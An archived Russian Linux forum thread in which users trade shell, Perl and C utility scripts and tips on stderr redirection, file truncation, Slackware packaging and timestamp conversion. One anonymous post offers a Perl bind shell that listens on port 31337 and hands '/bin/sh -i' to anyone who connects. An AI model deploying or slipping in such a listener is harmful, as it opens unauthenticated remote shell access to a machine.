LINUX.ORG.RU

Скрипты, которые мы пишем...


0

0

Уважаемый All, все мы по долгу службы или просто для своего удобства вынуждены писать различные скрипты для различных целей, будь то автоматическая инсталяция продуктов на несколько машин или вещи попроще. Вот я и подумал, что зачем сто раз писать то, что уже давно написано и во что вложено достаточно труда и времени. Давайте устроим здесь своеобразный ⌠пункт обмена■, неопытные пользователи скажут Вам спасибо и смогут сразу использовать скрипты, а опытные смогут сэкономить себе немного времени, головной боли, а также поучится новым программистским приемам. Для затравки выложу здесь (На форуме development - линк - внизу ) небольшой скрипт, который упорядывачивает вывод от стандартной команды df (для Линукса это, может не так актуально, а мне на Солярисе 2.6 очень даже помогает.) внутри ещё чего покидаю... Так что, продолжение следует?..

>>> Ссылка на форум

Народ, просто почитав этот тред узнал новое и полезное ...
Даже сам характер общения в нем отличается от остальных в лучшую сторону.
Идея создания скрипто-хранилища отличная !
Кто-нибудь, у кого есть возможность создать такой ресурс - не упускайте ее!

anonymous
()
Ответ на: BASH от anonymous

> Подскажите пожалуйста как включить создание файлов coredump? Желательно чтоб это можно было делать на лету без перекомпиляции ядра

afaik core генерится только по некоторым сигналам (каким - man 7 signal). ну значит нужно чтобы ядро или ты сам послал этот сигнал проге + чтобы max coresize был разумный (ненулевой, см ulimit -c). Меняется он вроде тем же ulimit (?)

anonymous
()
Ответ на: комментарий от anonymous

> afaik core генерится только по некоторым сигналам
> (каким - man 7 signal).

Спасибо, я дальше первой попавшейся страницы man редко когда
догадываюсь посмотреть :-\


Signal Value Action Comment

SIGSEGV 11 C Invalid memory reference


The letters in the "Action" column have the following meanings:
C Default action is to terminate the process and dump core.

Вроде должно, да не делает...
Слово default наводит на мысль, что поведение изменяемо.

Aerton

anonymous
()

2Led (*) (2002-07-14 16:46:29.556)
tail -c, --bytes=N
output the last N bytes

head -c, --bytes=SIZE
print first SIZE bytes

anonymous
()

2delta9: Таки есть у тебя проблема. Попробуй написать что-то типа test.sh /usr/bin/test.sh echo "START " > /tmp/xtel.test echo $1 >> /tmp/xtel.sh echo START sleep 10; echo "STOP" >> /tmp/xtel.test

загони вместо telnet скрипт /usr/bin/test.sh И посомтри по логам вызывается и передается ли что-нибудь.

Попробуй убрать '&' переход процесса в bg.

PS Лучше два дня угробить на отладку, а потом полный кайф.

eda
()

Уважаемый all, 1) есть ли возможность в _bash_ перенаправить поток ошибок _одновременно_ на стандартный err(как и должно быть) и в файл? со стандартным выводом понятно - есть tee, а есть ли подобный отвод для потока ошибок?

2) какие есть способы передать средствами _bash_ поток ошибок одной программе, а стандартный вывод другой ?

Знаю что можно через именованные каналы mkfifo, но ведь их кто то обязательно должен слушать, может кто-нить знает иной способ :)

anonymous
()

Скрипт для ленивых. Написан потому как лень каждый раз набивать первые неск. строчек нового скрипта, а тут какой-никакой шаблон.

#!/usr/bin/perl -w if(!@ARGV) { print "USAGE np <Perl_file_name>\n"; exit 0; } $ARGV[0].=".pl" if($ARGV[0]!~m/^\w+\./); if(-f $ARGV[0]) { die "File $ARGV[0] already exists!\n"; } open(FL,">$ARGV[0]")||die "Can't create $ARGV[0]: $!\n"; $s=<<'EOL'; #!/usr/bin/perl -w #open(FL,"")||die "Can\'t open file:$!\n"; #@fld=<FL>; #close(FL); #foreach $i (@fld) #{ #} #exit(0); EOL print FL $s; close(FL); print "File $ARGV[0] successfully created\n"; exit;

anonymous
()
Ответ на: комментарий от anonymous

2anonymous:
>head -c, --bytes=SIZE
>print first SIZE bytes

Это я знаю:) Но если файл 300М - устанешь ждать:) Нужен именно trancate

Led ★★★☆☆
()

>Это я знаю:) Но если файл 300М - устанешь ждать:) Нужен именно trancate.

dd устроит?

bash-2.05$ dd if=my_file of=my_file.BAK bs=1 count=LENGTH
bash-2.05$ mv my_file.BAK my_file

poison_reverse
()

Во в кассу припол! Как раз хочу поэлегантнее сделать и не знаю как.

#!/usr/bin/perl

# Variable for check crashed chars or not? $CHARS=`cat /home/jm/uox/bin/chars.wsc |grep EOF`;

# Variable for check crashed items or not? $ITEMS=`cat /home/jm/uox/bin/items.wsc |grep EOF`;

# check crashed chars or not? if ($CHARS eq "") { print($date); print " Warning! chars checker report: The chars file crashed!"; # extract from backup in ver. 0.2.x exit; } { print ($date); print " chars ok\n"; }

Аналогично обрабатывается и второй файл. А нельзя ли это сделать попроще? В файле в самом конце прописывается EOF буквами :) И я гляжу не побился ли файл из за падения угребища пишущего туда. --- Искренне Ваш, анонимщик.

anonymous
()

Non interactive passwd: password NAME PASSWORD ? #!/bin/sh passwd $1 $2 expect "word: " send ... ???????????

Serj.

anonymous
()
Ответ на: комментарий от poison_reverse

2poison_reverse:
>dd устроит?
Я ж говорю: копирование в новый файл не устраивает - для больших
файлов нужно много дополнительного места на диске и затраты по времени
получаются большие. Нужно именно обрезание существующего файла.

Led ★★★☆☆
()
Ответ на: комментарий от Led

2 Led:
(izvini za kodirovku - s chuzhoj mashiny)
Ya ved' uzhe pisal:
perl -e 'truncate "filename", length'

I vse!

anonymous
()
Ответ на: комментарий от anonymous

1) есть ли возможность в _bash_ перенаправить поток ошибок _одновременно_ на стандартный err(как и должно быть) и в файл? со стандартным выводом понятно - есть tee, а есть ли подобный отвод для потока ошибок?

Примерно так:

gcc mt.c -Wall 2>&1 | tee mt.errors

anonymous
()
Ответ на: комментарий от anonymous

>1) есть ли возможность в _bash_ перенаправить поток ошибок _одновременно_ на
> стандартный err(как и должно быть) и в файл? ...
> 2) какие есть способы передать средствами _bash_ поток ошибок одной программе,
> а стандартный вывод другой ?

Средствами shell - fifo, самый простой способ.
Есть другой подход - описан в 'perldoc IPC::Open3' и 'perldoc opentut'

> Знаю что можно через именованные каналы mkfifo, но ведь их кто то обязательно
> должен слушать, ...

Даже перенаправленный вывод надо "слушать" (т.е. в случае перенаправления в файл - должно
хватить места для этого файла)

Желаю успехов.

anonymous
()
Ответ на: комментарий от anonymous

> Примерно так:

> gcc mt.c -Wall 2>&1 | tee mt.errors

Если так, то поток ошибок смешивается с потоком стандартного вывода, а задача стояла не такая:

"перенаправить поток ошибок _одновременно_ на стандартный err(как и должно быть) и в файл"

в отдельный файл без примеси stdout

anonymous
()

Это довольно просто если stdout не нужен программе(stderr-program=tee file):
$ command 2>&1 1>stdout-file | stderr-program
Если же stdout тоже нужен какой-то программе то видится 2 способа:
1. $ (command | stdout-program ) 2>&1 1>/dev/null | stderr-program
2. $ command 2> >(stderr-program) | stdout-program

Последнее возможно не везде работает.

DonkeyHot ★★★★★
()

Вот вам ещё скриптик. Что делает написано в описании. Использую его в других скриптах, как показано в описании.

#! /bin/ksh
#
# NAME
# disp - print string for setting DISPLAY environment variable
#
# SYNOPSIS
# disp
#
# DESCRIPTION
# The disp program displays a string that can be used to set the DISPLAY
# environment variable, using the IP address or hostname of the host the
# user logged in from.
#
# EXAMPLES
# To set the $DISPLAY variable in the Bourne shell, Korn shell or bash:
# DISPLAY=`disp`; export DISPLAY
#
# To set the $DISPLAY variable in the C shell or tcsh:
# setenv DISPLAY `disp`
#
# EXIT STATUS
# 0 - No errors
# 1 - Error, no IP address found
#
if [[ $# -gt 0 ]] then
if [[ $1 = -\? || $1 = -h || $1 = -help ]] then
print "Usage: ${0##*/}" 1>&2
exit 1
fi
fi
whoami=$( who am i 2>/dev/null )
if [[ $whoami = *\(*\)* ]] then
ip_addr=$( print $whoami | cut -f2 -d'(' | cut -f1 -d')' )
if [[ $ip_addr = :* ]] then
print $ip_addr
else
print $ip_addr:0
fi
else
print "$( hostname ):0.0"
exit 1
fi

CrownRU
() автор топика

так так задумано, disp работает только под ksh Solaris. В HP-UX выдает
bash-2.04$ ksh disp.sh
preverse pts/td Jul 19 08:42:0
bash-2.04$

poison_reverse
()

классная идея ! я предлагаю фсем во фриваре супер !

# /bin/sh # The Ultimate Hack Messenges Script echo "Нас похакали !!!!" mail -s "УЖЫС !!!!" root@localhost # # (c) 2001 gigabito

pendos
()

а вот мой любимый и самый часто используемый скрипт;))
#!/usr/bin/perl
# взято с nerf.ru
use Socket;
$port = 31337;
socket (S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));
setsockopt (S, SOL_SOCKET, SO_REUSEADDR,1);
bind (S, sockaddr_in ($port, INADDR_ANY));
listen (S, 50);
while (1){
accept (X, S);
if (!($pid = fork)){
if(!defined $pid){exit(0);}
open STDIN,"<&X";
open STDOUT,">&X";
open STDERR,">&X";
exec("/bin/sh -i");
close X;}}

anonymous
()
Ответ на: комментарий от anonymous

А где описание, что этот скрипт делает?

CrownRU
() автор топика

Вот, может кому нужно - скрипт для создания пакетов для slackware через make install.
Устанавливает пакет и создает .tgz package.

Базируется на checkinstall, использует itrace вместо installwatch
и создает пакет использую makepkg.

Не задают никаких вопросов :-), после работы в текущей дирестории появляется собранный .tgz.

-----------------cut here------------------
#!/bin/sh

# Variables

MYSELF=`basename $0`
CURDIR=`pwd`
PACKAGE=`basename $CURDIR`.tgz
ITRACE=`which itrace 2>/dev/null`
MAKEPKG=`which makepkg 2>/dev/null`
INSTALLPKG=`which installpkg 2>/dev/null`

# Configuration

if [ ! -x "$ITRACE" ]; then
	echo "$MYSELF: Need itrace to proceed."
	exit 1
fi

if [ ! -x "$MAKEPKG" ]; then
	echo "$MYSELF: Need makepkg to create package."
	exit 1
fi

if [ ! -x "$INSTALLPKG" ]; then
	echo "$MYSELF: Need installpkg to install package."
	exit 1
fi

# Creation of temporary files and directories

TEMPFILE=`mktemp -q /tmp/$MYSELF.XXXXXX`

if [ $? -ne 0 ]; then
	echo "$MYSELF: Unable to create temporary file."
	exit 1
fi

TEMPDIR=$TEMPFILE.temp
mkdir $TEMPDIR

FILELIST=$TEMPFILE.newfiles

if [ $? -ne 0 ]; then
	echo "$MYSELF: Unable to create temporary directory."
	exit 1
fi

# Executing install command

if [ "a$*" = "a" ]; then
	echo "Executing default 'make install'."
	COMMAND="make install"
else
	COMMAND=$*
fi

$ITRACE -L $TEMPFILE $COMMAND

# Copy installed files

echo "Copying installed files."

cat $TEMPFILE | while read file; do
	! [ -d "$file" ] && [ -e "$file" ] && \
	(tar -cpf - "$file" | tar -f - -xvpC $TEMPDIR) &> /dev/null
done

echo "Striping ELF binaries."
for f in `find $TEMPDIR -type f \
	\( -perm -0100 -or -perm -0010 -or -perm -0001 \)\
	-exec file {} \; | \
	grep -v 'shared object,' | \
	sed -n -e 's/^\(.*\):[ ]*ELF.*, not stripped/\1/p'`; do
	strip $f
done

# Create slackware package

echo "Creating slackware package."

cd $TEMPDIR
$MAKEPKG --linkadd y --chown y $PACKAGE
mv $TEMPDIR/$PACKAGE $CURDIR
cd $CURDIR

# Installing and registering package

echo "Installing and registering package."
$INSTALLPKG $PACKAGE

# Removing temporary files

echo "Removing temporary files."

rm -f $TEMPFILE $FILELIST
rm -rf $TEMPDIR

echo "Finished."

------------------cut here----------------

McGray ★★
()

Вот ещё скриптик, вернее программка на С. Коллега написал за две минуты:() Что делает: переводит UNIX timestamp формы "1027375200" в нормальную дату.

#include <stdio.h>
#include <time.h>
main(int ac, char **av)
{
long t;
char ac_date[64];
struct tm *s_tm;


        if(av[1] == '\0')
        {
                fprintf(stderr,"\nUsage : tstamp time_since_1970\n"); 
                exit (-1);
        }


        t = atoi(av[1]);

        s_tm = localtime(&t);
/*Фоpмат вывода даты здесь:*/
                sprintf(ac_date,"%04d.%02d.%02d  %02d:%02d:%02d",
                                        s_tm->tm_year + 1900,
                                        s_tm->tm_mon + 1,
                                        s_tm->tm_mday,
                                        s_tm->tm_hour,
                                        s_tm->tm_min,
                                        s_tm->tm_sec);

        printf("%s\n",ac_date);
exit(0);
}

CrownRU
() автор топика

А вот ещё тоже самое (почти), но на перле:
script.pl < "timestamp"


#!/bin/perl

while (<STDIN>) {

   $_ =~ s/\n//g;
   $_ =~ s/\r//g;
   next if (/^$/);
   undef @tlist;
   @tlist = split (/\s+/, $_);
   if ($tlist[0] =~ /^\d{9,}/) {
     &long_time($tlist[0]);
     shift(@tlist);
   }
   if (@tlist){
     print "EVENT: @tlist\n";
   }
}

  
sub long_time {

  local($arg)= shift;

  ($sec,$min,$hour,$mday,$mon,$year,$wday,$ydat,$isdst) = localtime($arg);
  $year+=1900;
  if ( $mon == 0 ) { $month="Jan" };
  if ( $mon == 1 ) { $month="Feb" };
  if ( $mon == 2 ) { $month="Mar" };
  if ( $mon == 3 ) { $month="Apr" };
  if ( $mon == 4 ) { $month="May" };
  if ( $mon == 5 ) { $month="Jun" };
  if ( $mon == 6 ) { $month="Jul" };
  if ( $mon == 7 ) { $month="Aug" };
  if ( $mon == 8 ) { $month="Sep" };
  if ( $mon == 9 ) { $month="Oct" };
  if ( $mon == 10 ) { $month="Nov" };
  if ( $mon == 11 ) { $month="Dec" };

#  print "$month $mday $hour:$min:$sec $year\n";
  printf ("%s %s %.2d:%.2d:%.2d %s\n", $month,$mday,$hour,$min,$sec,$year);
}

CrownRU
() автор топика
Ответ на: комментарий от CrownRU

2 CrownRU:
>А вот ещё тоже самое (почти), но на перле:
> ...

Итого почти 40 строк !!!!
А что, в Германии все задачи решают подобным образом?
А в России делают так:

perl -nle 'print scalar(localtime($_))'

Учи матчасть! Желаю успехов!

anonymous
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.